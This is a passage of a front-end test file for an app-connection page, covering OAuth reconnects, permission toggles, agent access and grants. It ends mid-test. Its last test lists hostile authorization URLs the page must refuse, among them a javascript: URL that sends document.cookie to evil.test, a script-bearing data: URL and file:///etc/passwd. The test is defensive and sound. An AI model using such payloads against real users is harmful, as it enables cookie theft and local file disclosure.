body: "The connection is ready. Review permissions or test an action below.",
|
||
tone: "success",
|
||
});
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/permissions", { replace: true });
|
||
});
|
||
|
||
it.each([
|
||
["company-1", "github", "active", true],
|
||
["other-company", "github", "active", false],
|
||
["company-1", "notion", "active", false],
|
||
["company-1", "github", "pending", false],
|
||
])("resumes a skill import only for its company's active GitHub callback (%s, %s, %s)", async (companyId, provider, status, returns) => {
|
||
rememberSkillSourceReturn("company-1", "new");
|
||
mockSearchParams.value = new URLSearchParams("success=1");
|
||
getConnectionMock.mockResolvedValue(connection({ companyId, status, config: { sourceTemplateKey: provider } }));
|
||
await renderAppDetail();
|
||
expect(mockNavigate).toHaveBeenCalledWith(returns ? "/skills/sources/new" : "/apps/conn-1/permissions", { replace: true });
|
||
expect(skillSourceReturnPath("company-1")).toBe(returns ? null : "/skills/sources/new");
|
||
});
|
||
|
||
it("normalizes the retired post-OAuth Setup URL into Permissions", async () => {
|
||
mockParams.tab = "setup";
|
||
mockSearchParams.value = new URLSearchParams("oauth=choose-access");
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
config: { sourceTemplateKey: "notion" },
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/apps/conn-1/permissions?oauth=choose-access",
|
||
replace: true,
|
||
});
|
||
expect(finalizeOAuthAccessMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("reviews quarantined actions as one toggle list and saves allowed and blocked choices together", async () => {
|
||
mockParams.tab = "review";
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({
|
||
id: "catalog-write",
|
||
toolName: "write_issue",
|
||
title: "Write issue",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined-allow",
|
||
toolName: "delete_repo",
|
||
title: "Delete repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined-block",
|
||
toolName: "archive_repo",
|
||
title: "Archive repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Review 2 new actions");
|
||
expect(container.textContent).toContain("Delete repo");
|
||
expect(container.textContent).toContain("Archive repo");
|
||
expect(container.textContent).not.toContain("Nothing is waiting for your OK right now.");
|
||
|
||
const allowToggle = container.querySelector<HTMLButtonElement>(
|
||
'button[role="switch"][aria-label="Delete repo allowed"]',
|
||
);
|
||
expect(allowToggle?.getAttribute("aria-checked")).toBe("false");
|
||
await act(async () => {
|
||
allowToggle?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save choices")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: expect.arrayContaining([
|
||
"catalog-read",
|
||
"catalog-write",
|
||
"catalog-quarantined-allow",
|
||
]),
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
reviewedCatalogEntryIds: expect.arrayContaining([
|
||
"catalog-quarantined-allow",
|
||
"catalog-quarantined-block",
|
||
]),
|
||
access: "all_agents",
|
||
});
|
||
const finishInput = finishAppMock.mock.calls.at(-1)?.[2] as { enabledCatalogEntryIds: string[] };
|
||
expect(finishInput.enabledCatalogEntryIds).not.toContain("catalog-quarantined-block");
|
||
});
|
||
|
||
it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Smoke Lab HTTP MCP fixture",
|
||
config: {
|
||
smokeLabFixture: "oauth-http",
|
||
oauth: {
|
||
provider: "smoke_lab",
|
||
smokeLabFixture: true,
|
||
scopes: ["smoke:openid"],
|
||
},
|
||
},
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
// The old generic "Connect with <provider>" block is gone: the connection's
|
||
// fixed identity type is explicit even before that identity is connected.
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).toContain("Organization identity");
|
||
expect(container.textContent).toContain("Not connected");
|
||
expect(
|
||
Array.from(container.querySelectorAll("button")).some(
|
||
(button) => button.textContent?.trim() === "Connect organization identity",
|
||
),
|
||
).toBe(true);
|
||
});
|
||
|
||
it("keeps reconnect off a healthy Notion permissions page", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Notion",
|
||
createdByUserId: "user-1",
|
||
config: {
|
||
sourceTemplateKey: "notion",
|
||
oauth: {
|
||
provider: "notion",
|
||
connectedAt: "2026-08-06T20:00:00.000Z",
|
||
},
|
||
},
|
||
}));
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
key: "notion",
|
||
name: "Notion",
|
||
logoUrl: "https://example.com/notion.png",
|
||
tagline: "Search and update your Notion workspace.",
|
||
description: "Give agents governed access to Notion.",
|
||
authKind: "oauth",
|
||
transportTemplate: { transport: "mcp_remote", url: "https://mcp.notion.com/mcp" },
|
||
credentialFields: [],
|
||
recommendedDefaults: {},
|
||
urlPatterns: [],
|
||
}],
|
||
});
|
||
listUserDirectoryMock.mockResolvedValue({
|
||
users: [{
|
||
principalId: "user-1",
|
||
status: "active",
|
||
user: {
|
||
id: "user-1",
|
||
name: "Dotta",
|
||
email: "dotta@example.com",
|
||
image: "https://example.com/dotta.png",
|
||
},
|
||
}],
|
||
});
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant()],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Dotta’s Notion");
|
||
expect(container.textContent).not.toContain("Connected by");
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).not.toContain("workspace authorization");
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(findButton("Danger zone")).toBeUndefined();
|
||
});
|
||
|
||
it("renders searchable action groups with three-way permission toggles", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).not.toContain("Always installed");
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Read (1)");
|
||
expect(container.textContent).toContain("Write (1)");
|
||
expect(container.textContent).toContain("Read repo");
|
||
expect(container.textContent).toContain("Write issue");
|
||
expect(container.textContent).toContain("Review 1 new action");
|
||
expect(container.querySelector<HTMLInputElement>('input[aria-label="Find an action"]')).toBeTruthy();
|
||
expect(container.querySelector('button[aria-label="Read repo: Allowed"]')?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.querySelector('button[aria-label="Write issue: Ask first"]')?.getAttribute("aria-checked")).toBe("true");
|
||
expect(Array.from(container.querySelectorAll("button")).filter((button) => button.textContent?.trim() === "Test")).toHaveLength(2);
|
||
expect(container.textContent).not.toContain("Views data without changing it.");
|
||
expect(container.textContent).not.toContain("Creates or changes data.");
|
||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||
});
|
||
|
||
it("opens an action test modal with agent selection, inputs, and result-ready chrome", async () => {
|
||
mockParams.tab = "permissions";
|
||
listTestAgentsMock.mockResolvedValue({
|
||
agents: [{
|
||
id: "agent-1",
|
||
name: "Coder",
|
||
role: "engineer",
|
||
title: "Engineer",
|
||
status: "active",
|
||
orgDepth: 1,
|
||
}],
|
||
});
|
||
getTestAgentAccessMock.mockResolvedValue({
|
||
access: {
|
||
connectionId: "conn-1",
|
||
toolCount: 2,
|
||
allowedCount: 1,
|
||
askFirstCount: 1,
|
||
offCount: 0,
|
||
lastChangedAt: null,
|
||
lastChangedByAgentId: null,
|
||
lastChangedByName: null,
|
||
tools: [
|
||
{
|
||
toolName: "read_repo",
|
||
gatewayToolName: "github__read_repo",
|
||
displayName: "Read repo",
|
||
risk: "read",
|
||
decision: "allowed",
|
||
reasonCode: null,
|
||
matchedPolicyIds: [],
|
||
},
|
||
],
|
||
},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
const testButton = Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Test");
|
||
await act(async () => {
|
||
testButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const dialog = document.body.querySelector('[role="dialog"]');
|
||
expect(dialog?.textContent).toContain("Test Read repo");
|
||
expect(dialog?.textContent).toContain("Act as");
|
||
expect(dialog?.textContent).toContain("Coder");
|
||
expect(dialog?.textContent).toContain("This action takes no inputs.");
|
||
expect(dialog?.textContent).toContain("Run");
|
||
});
|
||
|
||
it("persists ask-first for read-only actions from the three-way toggle", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
|
||
expect(askFirst).toBeTruthy();
|
||
await act(async () => {
|
||
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
|
||
askFirstCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
|
||
access: "all_agents",
|
||
});
|
||
});
|
||
|
||
it("persists off by removing an action from enabled and ask-first sets", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
const off = container.querySelector<HTMLButtonElement>('button[aria-label="Write issue: Off"]');
|
||
expect(off).toBeTruthy();
|
||
await act(async () => {
|
||
off!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read"],
|
||
askFirstCatalogEntryIds: [],
|
||
access: "all_agents",
|
||
});
|
||
});
|
||
|
||
it("shows and removes task-granted access without changing the connection's default permissions", async () => {
|
||
const grant = {
|
||
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
|
||
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
entries: [{ effect: "include", catalogEntryId: "catalog-write" }],
|
||
};
|
||
listProfilesMock.mockResolvedValue({ profiles: [grant] });
|
||
listPoliciesMock.mockResolvedValue({ policies: [{
|
||
enabled: true, policyType: "require_approval",
|
||
selectors: { catalogEntryId: "catalog-write" },
|
||
config: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
}] });
|
||
await renderAppDetail();
|
||
const section = Array.from(container.querySelectorAll("section")).find(section => section.textContent?.includes("Additional agent access"))!;
|
||
expect(section.textContent).toContain("Write issue");
|
||
expect(section.textContent).toContain("Ask first");
|
||
listProfilesMock.mockResolvedValue({ profiles: [] });
|
||
await act(async () => section.querySelector("button")!.click());
|
||
await flushReact();
|
||
expect(deleteProfileMock).toHaveBeenCalledWith("task-grant");
|
||
expect(container.textContent).not.toContain("Additional agent access");
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps the task grant visible when removal fails", async () => {
|
||
listProfilesMock.mockResolvedValue({ profiles: [{
|
||
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
|
||
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
entries: [{ effect: "include", catalogEntryId: "catalog-read" }],
|
||
}] });
|
||
deleteProfileMock.mockRejectedValue(new Error("Connection access changed. Reload and try again."));
|
||
await renderAppDetail();
|
||
const button = Array.from(container.querySelectorAll("button")).find(button => button.textContent === "Remove grant")!;
|
||
await act(async () => button.click());
|
||
await flushReact();
|
||
expect(container.querySelector('[role="alert"]')?.textContent).toContain("Connection access changed");
|
||
expect(button.disabled).toBe(false);
|
||
});
|
||
|
||
it("persists agent access independently from always-installed agents", async () => {
|
||
mockParams.tab = "permissions";
|
||
listProfilesMock.mockResolvedValue({
|
||
profiles: [{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
|
||
const anyAgent = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
|
||
.find((radio) => radio.textContent?.includes("Any agent"));
|
||
expect(anyAgent).toBeTruthy();
|
||
|
||
await act(async () => {
|
||
anyAgent?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
access: "all_agents",
|
||
});
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps always-installed agents in the access allowlist", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionInstallsMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
installs: [{
|
||
id: "install-agent-1",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
targetType: "agent",
|
||
targetId: "agent-1",
|
||
createdByAgentId: null,
|
||
createdByUserId: "user-1",
|
||
createdAt: new Date(),
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
|
||
const pickedAgents = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
|
||
.find((radio) => radio.textContent?.includes("Just agents I pick"));
|
||
await act(async () => {
|
||
pickedAgents?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
access: { agentIds: ["agent-1"] },
|
||
});
|
||
});
|
||
|
||
it("uses the setup-style agent access question without install terminology", async () => {
|
||
mockParams.tab = "permissions";
|
||
listProfilesMock.mockResolvedValue({
|
||
profiles: [{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).toContain("Just agents I pick");
|
||
expect(container.textContent).toContain("Any agent");
|
||
expect(container.textContent).not.toContain("Always installed");
|
||
expect(container.querySelector('button[aria-label="Remove Coder access"]')).toBeNull();
|
||
expect(
|
||
Array.from(container.querySelectorAll("button")).filter(
|
||
(button) => button.textContent?.trim() === "Change",
|
||
),
|
||
).toHaveLength(0);
|
||
});
|
||
|
||
/**
|
||
* Viewer rule D4: a policy-forbidden action is omitted, not disabled. The
|
||
* viewer still sees the whole state — which agents have it, what each action
|
||
* is allowed to do — with nothing to press.
|
||
*/
|
||
it("gives a viewer a read-only Permissions tab with no mutation affordances", async () => {
|
||
mockParams.tab = "permissions";
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-uid-1" },
|
||
grants: [],
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
capabilities: fullCapabilities({
|
||
canConfigure: false,
|
||
canManageAgentInstalls: false,
|
||
canSetCompanyInstall: false,
|
||
canConnectAsCurrentUser: false,
|
||
editableAgentIds: [],
|
||
}),
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
// State is still legible.
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).toContain("Actions");
|
||
expect(container.textContent).toContain("Read repo");
|
||
|
||
// Nothing to mutate: no radios, no permission selects, no refresh, no save.
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]')).toBeNull();
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Read repo permission"]')).toBeNull();
|
||
expect(container.querySelectorAll("select").length).toBe(0);
|
||
const labels = Array.from(container.querySelectorAll("button")).map((b) => b.textContent?.trim());
|
||
for (const forbidden of ["Change", "Save", "Refresh actions", "Choose agents"]) {
|
||
expect(labels).not.toContain(forbidden);
|
||
}
|
||
});
|
||
|
||
it("redirects legacy connection activity to the filtered company Audit feed", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: "issue-1",
|
||
actionRequestId: null,
|
||
toolName: "Get value",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:00:00Z"),
|
||
},
|
||
{
|
||
id: "evt-2",
|
||
eventType: "approval_resolved",
|
||
agentId: "agent-1",
|
||
issueId: "issue-1",
|
||
actionRequestId: "request-1",
|
||
toolName: "Mark done",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:01:00Z"),
|
||
},
|
||
],
|
||
issues: {
|
||
"issue-1": { identifier: "PAP-10912", title: "Fix app connection copy" },
|
||
},
|
||
actionRequests: {
|
||
"request-1": {
|
||
status: "approved",
|
||
resolverDisplayName: "Dotta",
|
||
resolvedByAgentId: null,
|
||
resolvedByUserId: "board-user",
|
||
},
|
||
},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("removes the per-connection activity surface", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: null,
|
||
actionRequestId: null,
|
||
toolName: "mcp.app-gallery-link-ccad39e8-6798a369:kv-set",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:00:00Z"),
|
||
},
|
||
],
|
||
issues: {},
|
||
actionRequests: {},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toBe("");
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("redirects lifecycle history to the same Audit destination", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: null,
|
||
actionRequestId: null,
|
||
toolName: "Get value",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:30:00Z"),
|
||
},
|
||
],
|
||
lifecycleEvents: [
|
||
{
|
||
id: "life-connected",
|
||
connectionId: "conn-1",
|
||
type: "app_connected",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: null,
|
||
createdAt: new Date("2026-06-12T09:00:00Z"),
|
||
},
|
||
{
|
||
id: "life-paused",
|
||
connectionId: "conn-1",
|
||
type: "app_paused",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: { enabled: false },
|
||
createdAt: new Date("2026-06-12T11:00:00Z"),
|
||
},
|
||
{
|
||
id: "life-allowlist",
|
||
connectionId: "conn-1",
|
||
type: "allowlist_changed",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: { added: 1, removed: 0, total: 2 },
|
||
createdAt: new Date("2026-06-12T10:45:00Z"),
|
||
},
|
||
{
|
||
id: "life-quarantine",
|
||
connectionId: "conn-1",
|
||
type: "actions_quarantined",
|
||
actorType: "system",
|
||
actorId: null,
|
||
agentId: null,
|
||
actorDisplayName: null,
|
||
details: { count: 2 },
|
||
createdAt: new Date("2026-06-12T10:50:00Z"),
|
||
},
|
||
],
|
||
issues: {},
|
||
actionRequests: {},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("keeps the header and reconnect banner across tabs", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
healthStatus: "degraded",
|
||
healthMessage: "Token expired.",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("Needs attention");
|
||
expect(container.textContent).toContain("This app needs reconnecting");
|
||
expect(container.textContent).toContain("Token expired.");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
});
|
||
|
||
it.each([
|
||
{ name: "remote.url", placement: "url", key: "url", prefix: null, label: "MCP server URL", value: "https://example.com/mcp?token=fresh", path: "remote.url" },
|
||
{ name: "headers.X-Api-Key", placement: "header", key: "X-Api-Key", prefix: null, label: "X-Api-Key", value: "fresh-key", path: "headers.X-Api-Key" },
|
||
{ name: "authorization", placement: "header", key: "Authorization", prefix: "Bearer ", label: "App key", value: "fresh-token", path: "credentials.authorization" },
|
||
])("reconnects a generic $label using its stored credential placement", async (fixture) => {
|
||
listGalleryMock.mockResolvedValue({ apps: [] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "api_key",
|
||
healthStatus: "missing_secret",
|
||
credentialRefs: [{ ...fixture, secretId: "old-secret", version: "latest" }],
|
||
}));
|
||
reconnectConnectionMock.mockResolvedValue({ connection: connection({ healthStatus: "ok" }) });
|
||
await renderAppDetail();
|
||
|
||
const field = container.querySelector<HTMLInputElement>(`input[aria-label="${fixture.label}"]`);
|
||
expect(field).not.toBeNull();
|
||
await act(() => setInputValue(field!, fixture.value));
|
||
await act(() => findButton("Check & reconnect")!.click());
|
||
await flushReact();
|
||
|
||
expect(reconnectConnectionMock).toHaveBeenCalledWith("conn-1", { [fixture.path]: fixture.value });
|
||
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ title: "Reconnected" }));
|
||
});
|
||
|
||
it.each(["permissions", "review"])("offers a supported replacement for an obsolete Anthropic connection on %s", async (tab) => {
|
||
mockParams.tab = tab;
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")!] });
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Anthropic",
|
||
transport: "rest_api",
|
||
authKind: "api_key",
|
||
config: { sourceTemplateKey: "anthropic", connectionMethodKey: "api-key" },
|
||
healthStatus: "error",
|
||
healthMessage: "This connection has no supported tool integration.",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
expect(findButton("Check & reconnect")).toBeUndefined();
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(container.textContent).toContain("Connection no longer supported");
|
||
expect(container.textContent).toContain("then remove this connection");
|
||
expect(container.querySelector('a[href="/apps/connect?source=anthropic"]')?.textContent)
|
||
.toBe("Add supported connection");
|
||
});
|
||
|
||
it("offers retry for a transient GitHub error without asking for another login", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth", healthStatus: "error", requiresReauthorization: false,
|
||
healthMessage: "GitHub access changed during refresh. Try again.",
|
||
}));
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Retry access");
|
||
expect(container.textContent).not.toContain("Reconnect required");
|
||
});
|
||
|
||
it("shows terminal OAuth failures as reconnect-required sign-in", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Reconnect required");
|
||
expect(container.textContent).toContain("Authorization expired (invalid_grant).");
|
||
expect(container.querySelector('input[placeholder="Paste your new key"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
|
||
});
|
||
|
||
it("reconnects an OAuth warning through the connection's existing personal identity", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-1",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", { asCurrentUser: true });
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
|
||
});
|
||
|
||
it("does not offer a personal reconnect to someone other than its fixed owner", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-2",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Reconnect required");
|
||
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("does not offer personal key replacement to someone other than its fixed owner", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "api_key",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-2",
|
||
healthStatus: "failed",
|
||
healthMessage: "The key was rejected.",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("This app needs reconnecting");
|
||
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
|
||
expect(Array.from(container.querySelectorAll("button")).filter(
|
||
(button) => button.textContent?.trim() === "Reconnect",
|
||
)).toHaveLength(0);
|
||
});
|
||
|
||
/**
|
||
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
|
||
* but this is the boundary where one would actually execute, so the board must
|
||
* refuse it independently of what the response body says.
|
||
*/
|
||
it.each([
|
||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||
["file:", "file:///etc/passwd"],
|
||
["plaintext http", "http://evil.test/authorize"],
|
||
["credentials", "https://accounts.example.test@evil.test/authorize"],
|
||
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "generic",
|
||
authorizationUrl,
|
||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||
});
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
